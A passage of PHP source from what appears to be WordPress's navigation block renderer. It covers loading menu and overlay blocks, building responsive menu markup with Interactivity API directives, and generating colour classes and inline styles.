'</ul>'; } // Add directives to the submenu if needed. if ( $has_submenus && $is_interactive ) { $tags = new WP_HTML_Tag_Processor( $inner_blocks_html ); $inner_blocks_html = block_core_navigation_add_directives_to_submenu( $tags, $attributes ); } return $inner_blocks_html; } /** * Gets the inner blocks for the navigation block from the navigation post. * * @since 6.5.0 * * @param array $attributes The block attributes. * @return WP_Block_List Returns the inner blocks for the navigation block. */ private static function get_inner_blocks_from_navigation_post( $attributes ) { $navigation_post = get_post( $attributes['ref'] ); if ( ! isset( $navigation_post ) ) { return new WP_Block_List( array(), $attributes ); } // Only published posts are valid. If this is changed then a corresponding change // must also be implemented in `use-navigation-menu.js`. if ( 'publish' === $navigation_post->post_status ) { $parsed_blocks = parse_blocks( $navigation_post->post_content ); // 'parse_blocks' includes a null block with '\n\n' as the content when // it encounters whitespace. This code strips it. $blocks = block_core_navigation_filter_out_empty_blocks( $parsed_blocks ); // Re-serialize, and run Block Hooks algorithm to inject hooked blocks. // TODO: See if we can move the apply_block_hooks_to_content_from_post_object() call // before the parse_blocks() call further above, to avoid the extra serialization/parsing. $markup = serialize_blocks( $blocks ); $markup = apply_block_hooks_to_content_from_post_object( $markup, $navigation_post ); $blocks = parse_blocks( $markup ); // TODO - this uses the full navigation block attributes for the // context which could be refined. return new WP_Block_List( $blocks, $attributes ); } } /** * Gets the inner blocks for the navigation block from the fallback. * * @since 6.5.0 * * @param array $attributes The block attributes. * @return WP_Block_List Returns the inner blocks for the navigation block. */ private static function get_inner_blocks_from_fallback( $attributes ) { $fallback_blocks = block_core_navigation_get_fallback_blocks(); // Fallback my have been filtered so do basic test for validity. if ( empty( $fallback_blocks ) || ! is_array( $fallback_blocks ) ) { return new WP_Block_List( array(), $attributes ); } return new WP_Block_List( $fallback_blocks, $attributes ); } /** * Recursively disables overlay menu for navigation blocks within overlay blocks. * Prevents nested overlays (inception). * * @since 6.5.0 * * @param array $blocks Array of parsed block arrays. * @return array Modified blocks with overlayMenu set to 'never' for navigation blocks. */ private static function disable_overlay_menu_for_nested_navigation_blocks( $blocks ) { if ( empty( $blocks ) || ! is_array( $blocks ) ) { return $blocks; } foreach ( $blocks as &$block ) { if ( ! isset( $block['blockName'] ) ) { continue; } // If this is a navigation block, disable its overlay menu. if ( 'core/navigation' === $block['blockName'] ) { if ( ! isset( $block['attrs'] ) ) { $block['attrs'] = array(); } $block['attrs']['overlayMenu'] = 'never'; // Mark this as a nested navigation within an overlay template part // so we can handle its rendering differently. $block['attrs']['_isWithinOverlayTemplatePart'] = true; } // Recursively process inner blocks. if ( ! empty( $block['innerBlocks'] ) && is_array( $block['innerBlocks'] ) ) { $block['innerBlocks'] = static::disable_overlay_menu_for_nested_navigation_blocks( $block['innerBlocks'] ); } } return $blocks; } /** * Gets the inner blocks for the navigation block from an overlay template part. * * @since 6.5.0 * * @param string $overlay_template_part_id The overlay template part ID in format "theme//slug". * @param array $attributes The block attributes. * @return WP_Block_List Returns the inner blocks for the overlay template part. */ private static function get_overlay_blocks_from_template_part( $overlay_template_part_id, $attributes ) { if ( empty( $overlay_template_part_id ) || ! is_string( $overlay_template_part_id ) ) { return new WP_Block_List( array(), $attributes ); } // Parse the template part ID (format: "theme//slug"). // If it's just a slug, construct the full ID using the current theme. $parts = explode( '//', $overlay_template_part_id, 2 ); if ( count( $parts ) === 2 ) { // Already in "theme//slug" format (backward compatibility). $theme = $parts[0]; $slug = $parts[1]; } else { // Just a slug, use current theme. $theme = get_stylesheet(); $slug = $overlay_template_part_id; } // Only query for template parts from the active theme. if ( get_stylesheet() !== $theme ) { return new WP_Block_List( array(), $attributes ); } // Query for the template part post. $template_part_query = new WP_Query( array( 'post_type' => 'wp_template_part', 'post_status' => 'publish', 'post_name__in' => array( $slug ), 'tax_query' => array( array( 'taxonomy' => 'wp_theme', 'field' => 'name', 'terms' => $theme, ), ), 'posts_per_page' => 1, 'no_found_rows' => true, 'lazy_load_term_meta' => false, // Do not lazy load term meta, as template parts only have one term. ) ); $template_part_post = $template_part_query->have_posts() ? $template_part_query->next_post() : null; if ( ! $template_part_post ) { // Try to get from theme file if not in database. // Construct the full template part ID for get_block_file_template. $full_template_part_id = $theme . '//' . $slug; $block_template = get_block_file_template( $full_template_part_id, 'wp_template_part' ); if ( isset( $block_template->content ) ) { // Expand shortcodes before parsing blocks, matching the order in // `render_block_core_template_part()`. $content = shortcode_unautop( $block_template->content ); $content = do_shortcode( $content ); $parsed_blocks = parse_blocks( $content ); $blocks = block_core_navigation_filter_out_empty_blocks( $parsed_blocks ); // Disable overlay menu for any navigation blocks within the overlay to prevent nested overlays. $blocks = static::disable_overlay_menu_for_nested_navigation_blocks( $blocks ); return new WP_Block_List( $blocks, $attributes ); } return new WP_Block_List( array(), $attributes ); } // Get the template part content. $block_template = _build_block_template_result_from_post( $template_part_post ); if ( ! isset( $block_template->content ) ) { return new WP_Block_List( array(), $attributes ); } $parsed_blocks = parse_blocks( $block_template->content ); // 'parse_blocks' includes a null block with '\n\n' as the content when // it encounters whitespace. This code strips it. $blocks = block_core_navigation_filter_out_empty_blocks( $parsed_blocks ); // Re-serialize, and run Block Hooks algorithm to inject hooked blocks. $markup = serialize_blocks( $blocks ); $markup = apply_block_hooks_to_content_from_post_object( $markup, $template_part_post ); // Expand shortcodes before parsing blocks, matching the order in // `render_block_core_template_part()`. $markup = shortcode_unautop( $markup ); $markup = do_shortcode( $markup ); $blocks = parse_blocks( $markup ); // Disable overlay menu for any navigation blocks within the overlay to prevent nested overlays. $blocks = static::disable_overlay_menu_for_nested_navigation_blocks( $blocks ); return new WP_Block_List( $blocks, $attributes ); } /** * Gets the inner blocks for the navigation block. * * @since 6.5.0 * * @param array $attributes The block attributes. * @param WP_Block $block The parsed block. * @return WP_Block_List Returns the inner blocks for the navigation block. */ private static function get_inner_blocks( $attributes, $block ) { $inner_blocks = $block->inner_blocks; // Ensure that blocks saved with the legacy ref attribute name (navigationMenuId) continue to render. if ( array_key_exists( 'navigationMenuId', $attributes ) ) { $attributes['ref'] = $attributes['navigationMenuId']; } // If: // - the gutenberg plugin is active // - `__unstableLocation` is defined // - we have menu items at the defined location // - we don't have a relationship to a `wp_navigation` Post (via `ref`). // ...then create inner blocks from the classic menu assigned to that location. if ( defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN && array_key_exists( '__unstableLocation', $attributes ) && ! array_key_exists( 'ref', $attributes ) && ! empty( block_core_navigation_get_menu_items_at_location( $attributes['__unstableLocation'] ) ) ) { $inner_blocks = block_core_navigation_get_inner_blocks_from_unstable_location( $attributes ); } // Load inner blocks from the navigation post. if ( array_key_exists( 'ref', $attributes ) ) { $inner_blocks = static::get_inner_blocks_from_navigation_post( $attributes ); } // If there are no inner blocks then fallback to rendering an appropriate fallback. if ( empty( $inner_blocks ) ) { $inner_blocks = static::get_inner_blocks_from_fallback( $attributes ); } /** * Filter navigation block $inner_blocks. * Allows modification of a navigation block menu items. * * @since 6.1.0 * * @param \WP_Block_List $inner_blocks */ $inner_blocks = apply_filters( 'block_core_navigation_render_inner_blocks', $inner_blocks ); $post_ids = block_core_navigation_get_post_ids( $inner_blocks ); if ( $post_ids ) { _prime_post_caches( $post_ids, false, false ); } return $inner_blocks; } /** * Gets the name of the current navigation, if it has one. * * @since 6.5.0 * * @param array $attributes The block attributes. * @return string Returns the name of the navigation. */ private static function get_navigation_name( $attributes ) { $navigation_name = $attributes['ariaLabel'] ?? ''; if ( ! empty( $navigation_name ) ) { return $navigation_name; } // Load the navigation post. if ( array_key_exists( 'ref', $attributes ) ) { $navigation_post = get_post( $attributes['ref'] ); if ( ! isset( $navigation_post ) ) { return $navigation_name; } // Only published posts are valid. If this is changed then a corresponding change // must also be implemented in `use-navigation-menu.js`. if ( 'publish' === $navigation_post->post_status ) { return $navigation_post->post_title; } } return $navigation_name; } /** * Returns the layout class for the navigation block. * * @since 6.5.0 * * @param array $attributes The block attributes. * @return string Returns the layout class for the navigation block. */ private static function get_layout_class( $attributes ) { $layout_justification = array( 'left' => 'items-justified-left', 'right' => 'items-justified-right', 'center' => 'items-justified-center', 'space-between' => 'items-justified-space-between', ); $layout_class = ''; if ( isset( $attributes['layout']['justifyContent'] ) && isset( $layout_justification[ $attributes['layout']['justifyContent'] ] ) ) { $layout_class .= $layout_justification[ $attributes['layout']['justifyContent'] ]; } if ( isset( $attributes['layout']['orientation'] ) && 'vertical' === $attributes['layout']['orientation'] ) { $layout_class .= ' is-vertical'; } if ( isset( $attributes['layout']['flexWrap'] ) && 'nowrap' === $attributes['layout']['flexWrap'] ) { $layout_class .= ' no-wrap'; } return $layout_class; } /** * Return classes for the navigation block. * * @since 6.5.0 * * @param array $attributes The block attributes. * @return string Returns the classes for the navigation block. */ private static function get_classes( $attributes ) { // Restore legacy classnames for submenu positioning. $layout_class = static::get_layout_class( $attributes ); $colors = block_core_navigation_build_css_colors( $attributes ); $font_sizes = block_core_navigation_build_css_font_sizes( $attributes ); $is_responsive_menu = static::is_responsive( $attributes ); // Manually add block support text decoration as CSS class. $text_decoration = $attributes['style']['typography']['textDecoration'] ?? null; $text_decoration_class = sprintf( 'has-text-decoration-%s', $text_decoration ); $classes = array_merge( $colors['css_classes'], $font_sizes['css_classes'], $is_responsive_menu ? array( 'is-responsive' ) : array(), $layout_class ? array( $layout_class ) : array(), $text_decoration ? array( $text_decoration_class ) : array() ); return implode( ' ', $classes ); } /** * Get styles for the navigation block. * * @since 6.5.0 * * @param array $attributes The block attributes. * @return string Returns the styles for the navigation block. */ private static function get_styles( $attributes ) { $colors = block_core_navigation_build_css_colors( $attributes ); $font_sizes = block_core_navigation_build_css_font_sizes( $attributes ); $block_styles = $attributes['styles'] ?? ''; return $block_styles . $colors['inline_styles'] . $font_sizes['inline_styles']; } /** * Get responsive container classes for the navigation block. * * @since 7.0.0 * * @param bool $is_hidden_by_default Whether the responsive menu is hidden by default. * @param bool $has_custom_overlay Whether a custom overlay is used. * @param array $colors The colors array. * @return array Returns the responsive container classes. */ private static function get_responsive_container_classes( $is_hidden_by_default, $has_custom_overlay, $colors ) { $responsive_container_classes = array( 'wp-block-navigation__responsive-container' ); if ( $is_hidden_by_default ) { $responsive_container_classes[] = 'hidden-by-default'; } if ( $has_custom_overlay ) { $responsive_container_classes[] = 'disable-default-overlay'; } else { // Don't apply overlay color classes if using a custom overlay template part. // The custom overlay is responsible for its own styling. $responsive_container_classes[] = implode( ' ', $colors['overlay_css_classes'] ); } return $responsive_container_classes; } /** * Get overlay inline styles for the navigation block. * * @since 7.0.0 * * @param array $colors The colors array. * @return string Returns the overlay inline styles. */ private static function get_overlay_inline_styles( $has_custom_overlay, $colors ) { $overlay_inline_styles = $has_custom_overlay ? '' : esc_attr( safecss_filter_attr( $colors['overlay_inline_styles'] ) ); return ( ! empty( $overlay_inline_styles ) ) ? "style=\"$overlay_inline_styles\"" : ''; } /** * Get the responsive container markup * * @since 6.5.0 * * @param array $attributes The block attributes. * @param WP_Block_List $inner_blocks The list of inner blocks. * @param string $inner_blocks_html The markup for the inner blocks. * @return string Returns the container markup. */ private static function get_responsive_container_markup( $attributes, $inner_blocks, $inner_blocks_html ) { $is_interactive = static::is_interactive( $attributes, $inner_blocks ); $colors = block_core_navigation_build_css_colors( $attributes ); $modal_unique_id = wp_unique_id( 'modal-' ); $is_hidden_by_default = isset( $attributes['overlayMenu'] ) && 'always' === $attributes['overlayMenu']; // Set-up variables for custom overlays. $has_custom_overlay = false; $close_button_markup = ''; $has_custom_overlay_close_block = false; $overlay_blocks_html = ''; $custom_overlay_markup = ''; // Check if an overlay template part is selected and render it. // This needs to happen before building classes so we know if overlay blocks actually exist. if ( ! empty( $attributes['overlay'] ) ) { // Get blocks from the overlay template part. $overlay_blocks = static::get_overlay_blocks_from_template_part( $attributes['overlay'], $attributes ); // Render template part blocks directly without navigation container wrapper. $overlay_blocks_html = static::get_template_part_blocks_html( $overlay_blocks ); // Check if overlay contains a navigation-overlay-close block (detect in rendered HTML so it works with patterns). $has_custom_overlay_close_block = block_core_navigation_overlay_html_has_close_block( $overlay_blocks_html ); // Add Interactivity API directives to the overlay close block if present. if ( $has_custom_overlay_close_block && $is_interactive ) { $tags = new WP_HTML_Tag_Processor( $overlay_blocks_html ); $overlay_blocks_html = block_core_navigation_add_directives_to_overlay_close( $tags ); } // Images in the overlay are hidden until the menu is opened. Pre-set // fetchpriority="low" so that when wp_filter_content_tags() processes the // parent template part, it sees the attribute already present and calls // wp_get_loading_optimization_attributes() with fetchpriority="low", which both prevents // fetchpriority="high" from being added and stops the LCP counter from being incremented. $overlay_blocks_html = block_core_navigation_set_overlay_image_fetch_priority( $overlay_blocks_html ); } $has_custom_overlay = ! empty( $overlay_blocks_html ); $responsive_container_classes = static::get_responsive_container_classes( $is_hidden_by_default, $has_custom_overlay, $colors ); $open_button_classes = array( 'wp-block-navigation__responsive-container-open', $is_hidden_by_default ? 'always-shown' : '', ); $should_display_icon_label = isset( $attributes['hasIcon'] ) && true === $attributes['hasIcon']; $toggle_button_icon = '<svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" aria-hidden="true" focusable="false"><path d="M4 7.5h16v1.5H4z"></path><path d="M4 15h16v1.5H4z"></path></svg>'; if ( isset( $attributes['icon'] ) ) { if ( 'menu' === $attributes['icon'] ) { $toggle_button_icon = '<svg width="24" height="24" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"><path d="M5 5v1.5h14V5H5z"></path><path d="M5 12.8h14v-1.5H5v1.5z"></path><path d="M5 19h14v-1.5H5V19z"></path></svg>'; } } $toggle_button_content = $should_display_icon_label ? $toggle_button_icon : __( 'Menu' ); $toggle_close_button_icon = '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="m13.06 12 6.47-6.47-1.06-1.06L12 10.94 5.53 4.47 4.47 5.53 10.94 12l-6.47 6.47 1.06 1.06L12 13.06l6.47 6.47 1.06-1.06L13.06 12Z"></path></svg>'; $toggle_close_button_content = $should_display_icon_label ? $toggle_close_button_icon : __( 'Close' ); $toggle_aria_label_open = $should_display_icon_label ? 'aria-label="' . __( 'Open menu' ) . '"' : ''; // Open button label. $toggle_aria_label_close = $should_display_icon_label ? 'aria-label="' . __( 'Close menu' ) . '"' : ''; // Close button label. // Add Interactivity API directives to the markup if needed. $open_button_directives = ''; $responsive_container_directives = ''; $responsive_dialog_directives = ''; $close_button_directives = ''; if ( $is_interactive ) { $open_button_directives = ' data-wp-on--click="actions.openMenuOnClick" data-wp-on--keydown="actions.handleMenuKeydown" '; $responsive_container_directives = ' data-wp-class--has-modal-open="state.isMenuOpen" data-wp-class--is-menu-open="state.isMenuOpen" data-wp-watch="callbacks.initMenu" data-wp-on--keydown="actions.handleMenuKeydown" data-wp-on--focusout="actions.handleMenuFocusout" tabindex="-1" '; $responsive_dialog_directives = ' data-wp-bind--aria-modal="state.ariaModal" data-wp-bind--aria-label="state.ariaLabel" data-wp-bind--role="state.roleAttribute" '; $close_button_directives = ' data-wp-on--click="actions.closeMenuOnClick" '; $responsive_container_content_directives = ' data-wp-watch="callbacks.focusFirstElement" '; } // Don't apply overlay inline styles if using a custom overlay template part. // The custom overlay is responsible for its own styling. $overlay_inline_styles = static::get_overlay_inline_styles( $has_custom_overlay, $colors ); if ( $has_custom_overlay ) { $custom_overlay_markup = sprintf( '<div class="wp-block-navigation__overlay-container">%s</div>', $overlay_blocks_html ); } // Show default close button for all responsive navigation, // unless custom overlay has its own close block. if ( ! $has_custom_overlay_close_block ) { $close_button_markup = sprintf( '<button %1$s class="wp-block-navigation__responsive-container-close" %2$s>%3$s</button>', $toggle_aria_label_close, $close_button_directives, $toggle_close_button_content ); } return sprintf( '<button aria-haspopup="dialog" %3$s class="%6$s" %10$s>%8$s</button> <div class="%5$s" %7$s id="%1$s" %11$s> <div class="wp-block-navigation__responsive-close" tabindex="-1"> <div class="wp-block-navigation__responsive-dialog" %12$s> %13$s <div class="wp-block-navigation__responsive-container-content" %14$s id="%1$s-content"> %2$s %15$s </div> </div> </div> </div>', esc_attr( $modal_unique_id ), $inner_blocks_html, $toggle_aria_label_open, $toggle_aria_label_close, esc_attr( trim( implode( ' ', $responsive_container_classes ) ) ), esc_attr( trim( implode( ' ', $open_button_classes ) ) ), $overlay_inline_styles, $toggle_button_content, $toggle_close_button_content, $open_button_directives, $responsive_container_directives, $responsive_dialog_directives, $close_button_markup, $responsive_container_content_directives, $has_custom_overlay ? $custom_overlay_markup : '' ); } /** * Get the wrapper attributes * * @since 6.5.0 * * @param array $attributes The block attributes. * @param WP_Block_List $inner_blocks A list of inner blocks. * @return string Returns the navigation block markup. */ private static function get_nav_attributes( $attributes, $inner_blocks ) { $is_interactive = static::is_interactive( $attributes, $inner_blocks ); $is_responsive_menu = static::is_responsive( $attributes ); $style = static::get_styles( $attributes ); $class = static::get_classes( $attributes ); $extra_attributes = array( 'class' => $class, 'style' => $style, ); // Only add aria-label for top-level navigation blocks. // Skip navigation blocks marked as being within overlay template parts. $is_within_overlay = $attributes['_isWithinOverlayTemplatePart'] ?? false; if ( $is_within_overlay ) { $nav_menu_name = static::get_navigation_name( $attributes ); } else { $nav_menu_name = static::get_unique_navigation_name( $attributes ); } if ( ! empty( $nav_menu_name ) ) { $extra_attributes['aria-label'] = $nav_menu_name; } $wrapper_attributes = get_block_wrapper_attributes( $extra_attributes ); if ( $is_responsive_menu ) { $nav_element_directives = static::get_nav_element_directives( $is_interactive ); $wrapper_attributes .= ' ' . $nav_element_directives; } return $wrapper_attributes; } /** * Gets the nav element directives. * * @since 6.5.0 * * @param bool $is_interactive Whether the block is interactive. * @return string the directives for the navigation element. */ private static function get_nav_element_directives( $is_interactive ) { if ( ! $is_interactive ) { return ''; } // When adding to this array be mindful of security concerns. $nav_element_context = wp_interactivity_data_wp_context( array( 'overlayOpenedBy' => array( 'click' => false, 'hover' => false, 'focus' => false, ), 'type' => 'overlay', 'roleAttribute' => '', 'ariaLabel' => __( 'Menu' ), ) ); $nav_element_directives = ' data-wp-interactive="core/navigation" ' . $nav_element_context; return $nav_element_directives; } /** * Handle view script module loading. * * @since 6.5.0 * * @param array $attributes The block attributes. * @param WP_Block $block The parsed block. * @param WP_Block_List $inner_blocks The list of inner blocks. */ private static function handle_view_script_module_loading( $attributes, $block, $inner_blocks ) { if ( static::is_interactive( $attributes, $inner_blocks ) ) { wp_enqueue_script_module( '@wordpress/block-library/navigation/view' ); } } /** * Returns the markup for the navigation block. * * @since 6.5.0 * * @param array $attributes The block attributes. * @param WP_Block_List $inner_blocks The list of inner blocks. * @return string Returns the navigation wrapper markup. */ private static function get_inner_block_markup( $attributes, $inner_blocks ) { $inner_blocks_html = static::get_inner_blocks_html( $attributes, $inner_blocks ); if ( static::is_responsive( $attributes ) ) { return static::get_responsive_container_markup( $attributes, $inner_blocks, $inner_blocks_html ); } return $inner_blocks_html; } /** * Returns a unique name for the navigation. * * @since 6.5.0 * * @param array $attributes The block attributes. * @return string Returns a unique name for the navigation. */ private static function get_unique_navigation_name( $attributes ) { $nav_menu_name = static::get_navigation_name( $attributes ); // This is used to count the number of times a navigation name has been seen, // so that we can ensure every navigation has a unique id. if ( isset( static::$seen_menu_names[ $nav_menu_name ] ) ) { ++static::$seen_menu_names[ $nav_menu_name ]; } else { static::$seen_menu_names[ $nav_menu_name ] = 1; } // If the menu name has been used previously then append an ID // to the name to ensure uniqueness across a given post. if ( isset( static::$seen_menu_names[ $nav_menu_name ] ) && static::$seen_menu_names[ $nav_menu_name ] > 1 ) { $count = static::$seen_menu_names[ $nav_menu_name ]; $nav_menu_name = $nav_menu_name . ' ' . ( $count ); } return $nav_menu_name; } /** * Renders the navigation block. * * @since 6.5.0 * * @param array $attributes The block attributes. * @param string $content The saved content. * @param WP_Block $block The parsed block. * @return string Returns the navigation block markup. */ public static function render( $attributes, $content, $block ) { /** * Deprecated: * The rgbTextColor and rgbBackgroundColor attributes * have been deprecated in favor of * customTextColor and customBackgroundColor ones. * Move the values from old attrs to the new ones. */ if ( isset( $attributes['rgbTextColor'] ) && empty( $attributes['textColor'] ) ) { $attributes['customTextColor'] = $attributes['rgbTextColor']; } if ( isset( $attributes['rgbBackgroundColor'] ) && empty( $attributes['backgroundColor'] ) ) { $attributes['customBackgroundColor'] = $attributes['rgbBackgroundColor']; } unset( $attributes['rgbTextColor'], $attributes['rgbBackgroundColor'] ); $inner_blocks = static::get_inner_blocks( $attributes, $block ); // Prevent navigation blocks referencing themselves from rendering. if ( block_core_navigation_block_tree_has_block_type( $inner_blocks, 'core/navigation' ) ) { return ''; } static::handle_view_script_module_loading( $attributes, $block, $inner_blocks ); // Use div wrapper if this navigation block is within an overlay template part. $is_within_overlay = $attributes['_isWithinOverlayTemplatePart'] ?? false; $tag_name = $is_within_overlay ? 'div' : 'nav'; return sprintf( '<%1$s %2$s>%3$s</%1$s>', $tag_name, static::get_nav_attributes( $attributes, $inner_blocks ), static::get_inner_block_markup( $attributes, $inner_blocks ) ); } } // These functions are used for the __unstableLocation feature and only active // when the gutenberg plugin is active. if ( defined( 'IS_GUTENBERG_PLUGIN' ) && IS_GUTENBERG_PLUGIN ) { /** * Returns the menu items for a WordPress menu location. * * @since 5.9.0 * * @param string $location The menu location. * @return array Menu items for the location. */ function block_core_navigation_get_menu_items_at_location( $location ) { if ( empty( $location ) ) { return; } // Build menu data. The following approximates the code in // `wp_nav_menu()` and `gutenberg_output_block_nav_menu`. // Find the location in the list of locations, returning early if the // location can't be found. $locations = get_nav_menu_locations(); if ( ! isset( $locations[ $location ] ) ) { return; } // Get the menu from the location, returning early if there is no // menu or there was an error. $menu = wp_get_nav_menu_object( $locations[ $location ] ); if ( ! $menu || is_wp_error( $menu ) ) { return; } $menu_items = wp_get_nav_menu_items( $menu->term_id, array( 'update_post_term_cache' => false ) ); _wp_menu_item_classes_by_context( $menu_items ); return $menu_items; } /** * Sorts a standard array of menu items into a nested structure keyed by the * id of the parent menu. * * @since 5.9.0 * * @param array $menu_items Menu items to sort. * @return array An array keyed by the id of the parent menu where each element * is an array of menu items that belong to that parent. */ function block_core_navigation_sort_menu_items_by_parent_id( $menu_items ) { $sorted_menu_items = array(); foreach ( (array) $menu_items as $menu_item ) { $sorted_menu_items[ $menu_item->menu_order ] = $menu_item; } unset( $menu_items, $menu_item ); $menu_items_by_parent_id = array(); foreach ( $sorted_menu_items as $menu_item ) { $menu_items_by_parent_id[ $menu_item->menu_item_parent ][] = $menu_item; } return $menu_items_by_parent_id; } /** * Gets the inner blocks for the navigation block from the unstable location attribute. * * @since 6.5.0 * * @param array $attributes The block attributes. * @return WP_Block_List Returns the inner blocks for the navigation block. */ function block_core_navigation_get_inner_blocks_from_unstable_location( $attributes ) { $menu_items = block_core_navigation_get_menu_items_at_location( $attributes['__unstableLocation'] ); if ( empty( $menu_items ) ) { return new WP_Block_List( array(), $attributes ); } $menu_items_by_parent_id = block_core_navigation_sort_menu_items_by_parent_id( $menu_items ); $parsed_blocks = block_core_navigation_parse_blocks_from_menu_items( $menu_items_by_parent_id[0], $menu_items_by_parent_id ); return new WP_Block_List( $parsed_blocks, $attributes ); } } /** * Checks if the overlay HTML contains a navigation-overlay-close block. * * Uses WP_HTML_Tag_Processor to detect the close button in rendered output, * so it works when the overlay uses patterns (pattern content is rendered at * output time, not in the block tree). * * @since 7.0.0 * * @param string $html The rendered overlay HTML. * @return bool True if a close button element is found. */ function block_core_navigation_overlay_html_has_close_block( $html ) { $tags = new WP_HTML_Tag_Processor( $html ); return $tags->next_tag( array( 'tag_name' => 'BUTTON', 'class_name' => 'wp-block-navigation-overlay-close', ) ); } /** * Add Interactivity API directives to the navigation-overlay-close block * markup using the Tag Processor. * * @since 6.5.0 * * @param WP_HTML_Tag_Processor $tags Markup of the navigation block. * @return string Overlay close markup with the directives injected. */ function block_core_navigation_add_directives_to_overlay_close( $tags ) { // Find all navigation-overlay-close buttons. while ( $tags->next_tag( array( 'tag_name' => 'BUTTON', 'class_name' => 'wp-block-navigation-overlay-close', ) ) ) { // Add the same close directive as the default close button. $tags->set_attribute( 'data-wp-on--click', 'actions.closeMenuOnClick' ); } return $tags->get_updated_html(); } /** * Sets fetchpriority="low" on all IMG tags within the navigation overlay. * * Images in the overlay are hidden until the menu is opened, so they should * not compete with any actual LCP element image on the page. * * @since 7.0.0 * * @param string $overlay_blocks_html The rendered HTML of the overlay blocks. * @return string Modified HTML with fetchpriority="low" on all IMG tags. */ function block_core_navigation_set_overlay_image_fetch_priority( string $overlay_blocks_html ): string { $tags = new WP_HTML_Tag_Processor( $overlay_blocks_html ); while ( $tags->next_tag( 'IMG' ) ) { $tags->set_attribute( 'fetchpriority', 'low' ); } return $tags->get_updated_html(); } /** * Add Interactivity API directives to the navigation-submenu and page-list * blocks markup using the Tag Processor. * * @since 6.3.0 * * @param WP_HTML_Tag_Processor $tags Markup of the navigation block. * @param array $block_attributes Block attributes. * * @return string Submenu markup with the directives injected. */ function block_core_navigation_add_directives_to_submenu( $tags, $block_attributes ) { while ( $tags->next_tag( array( 'tag_name' => 'LI', 'class_name' => 'has-child', ) ) ) { // Add directives to the parent `<li>`. $tags->set_attribute( 'data-wp-interactive', 'core/navigation' ); $tags->set_attribute( 'data-wp-context', '{ "submenuOpenedBy": { "click": false, "hover": false, "focus": false }, "type": "submenu", "modal": null, "previousFocus": null }' ); $tags->set_attribute( 'data-wp-watch', 'callbacks.initMenu' ); $tags->set_attribute( 'data-wp-on--focusout', 'actions.handleMenuFocusout' ); $tags->set_attribute( 'data-wp-on--keydown', 'actions.handleMenuKeydown' ); // This is a fix for Safari. Without it, Safari doesn't change the active // element when the user clicks on a button. It can be removed once we add // an overlay to capture the clicks, instead of relying on the focusout // event. $tags->set_attribute( 'tabindex', '-1' ); $computed_visibility = block_core_navigation_get_submenu_visibility( $block_attributes ); $open_on_hover = 'hover' === $computed_visibility; if ( $open_on_hover ) { $tags->set_attribute( 'data-wp-on--pointerenter', 'actions.openMenuOnHover' ); $tags->set_attribute( 'data-wp-on--pointerleave', 'actions.closeMenuOnHover' ); } // Add directives to the toggle submenu button. if ( $tags->next_tag( array( 'tag_name' => 'BUTTON', 'class_name' => 'wp-block-navigation-submenu__toggle', ) ) ) { $tags->set_attribute( 'data-wp-on--click', 'actions.toggleMenuOnClick' ); $tags->set_attribute( 'data-wp-bind--aria-expanded', 'state.isMenuOpen' ); // The `aria-expanded` attribute for SSR is already added in the submenu block. } // Add directives to the submenu. if ( $tags->next_tag( array( 'tag_name' => 'UL', 'class_name' => 'wp-block-navigation__submenu-container', ) ) ) { $tags->set_attribute( 'data-wp-on--focus', 'actions.openMenuOnFocus' ); } // Iterate through subitems if exist. block_core_navigation_add_directives_to_submenu( $tags, $block_attributes ); } return $tags->get_updated_html(); } /** * Build an array with CSS classes and inline styles defining the colors * which will be applied to the navigation markup in the front-end. * * @since 5.9.0 * * @param array $attributes Navigation block attributes. * * @return array Colors CSS classes and inline styles. */ function block_core_navigation_build_css_colors( $attributes ) { $colors = array( 'css_classes' => array(), 'inline_styles' => '', 'overlay_css_classes' => array(), 'overlay_inline_styles' => '', ); // Text color. $has_named_text_color = array_key_exists( 'textColor', $attributes ); $has_custom_text_color = array_key_exists( 'customTextColor', $attributes ); // If has text color. if ( $has_custom_text_color || $has_named_text_color ) { // Add has-text-color class. $colors['css_classes'][] = 'has-text-color'; } if ( $has_named_text_color ) { // Add the color class. $colors['css_classes'][] = sprintf( 'has-%s-color', $attributes['textColor'] ); } elseif ( $has_custom_text_color ) { // Add the custom color inline style. $colors['inline_styles'] .= sprintf( 'color: %s;', $attributes['customTextColor'] ); } // Background color. $has_named_background_color = array_key_exists( 'backgroundColor', $attributes ); $has_custom_background_color = array_key_exists( 'customBackgroundColor', $attributes ); // If has background color. if ( $has_custom_background_color || $has_named_background_color ) { // Add has-background class. $colors['css_classes'][] = 'has-background'; } if ( $has_named_background_color ) { // Add the background-color class. $colors['css_classes'][] = sprintf( 'has-%s-background-color', $attributes['backgroundColor'] ); } elseif ( $has_custom_background_color ) { // Add the custom background-color inline style. $colors['inline_styles'] .= sprintf( 'background-color: %s;', $attributes['customBackgroundColor'] ); } // Overlay text color. $has_named_overlay_text_color = array_key_exists( 'overlayTextColor', $attributes ); $has_custom_overlay_text_color = array_key_exists( 'customOverlayTextColor', $attributes ); // If has overlay text color. if ( $has_custom_overlay_text_color || $has_named_overlay_text_color ) { // Add has-text-color class. $colors['overlay_css_classes'][] = 'has-text-color'; } if ( $has_named_overlay_text_color ) { // Add the overlay color class. $colors['overlay_css_classes'][] = sprintf( 'has-%s-color', $attributes['overlayTextColor'] ); } elseif ( $has_custom_overlay_text_color ) { // Add the custom overlay color inline style. $colors['overlay_inline_styles'] .= sprintf( 'color: %s;', $attributes['customOverlayTextColor'] ); } // Overlay background color. $has_named_overlay_background_color = array_key_exists( 'overlayBackgroundColor', $attributes ); $has_custom_overlay_background_color = array_key_exists( 'customOverlayBackgroundColor', $attributes ); // If has overlay background color. if ( $has_custom_overlay_background_color || $has_named_overlay_background_color ) { // Add has-background class. $colors['overlay_css_classes'][] = 'has-background'; } if ( $has_named_overlay_background_color ) { // Add the overlay background-color class. $colors['overlay_css_classes'][] = sprintf( 'has-%s-background-color', $attributes['overlayBackgroundColor'] ); } elseif ( $has_custom_overlay_background_color ) { // Add the custom overlay background-color inline style. $colors['overlay_inline_styles'] .= sprintf( 'background-color: %s;', $attributes['customOverlayBackgroundColor'] ); } return $colors; } /** * Build an array with CSS classes and inline styles defining the font sizes * which will be applied to the navigation markup in the front-end. * * @since 5.9.0 * * @param array $attributes Navigation block attributes. * * @return array Font size CSS classes and inline styles. */ function 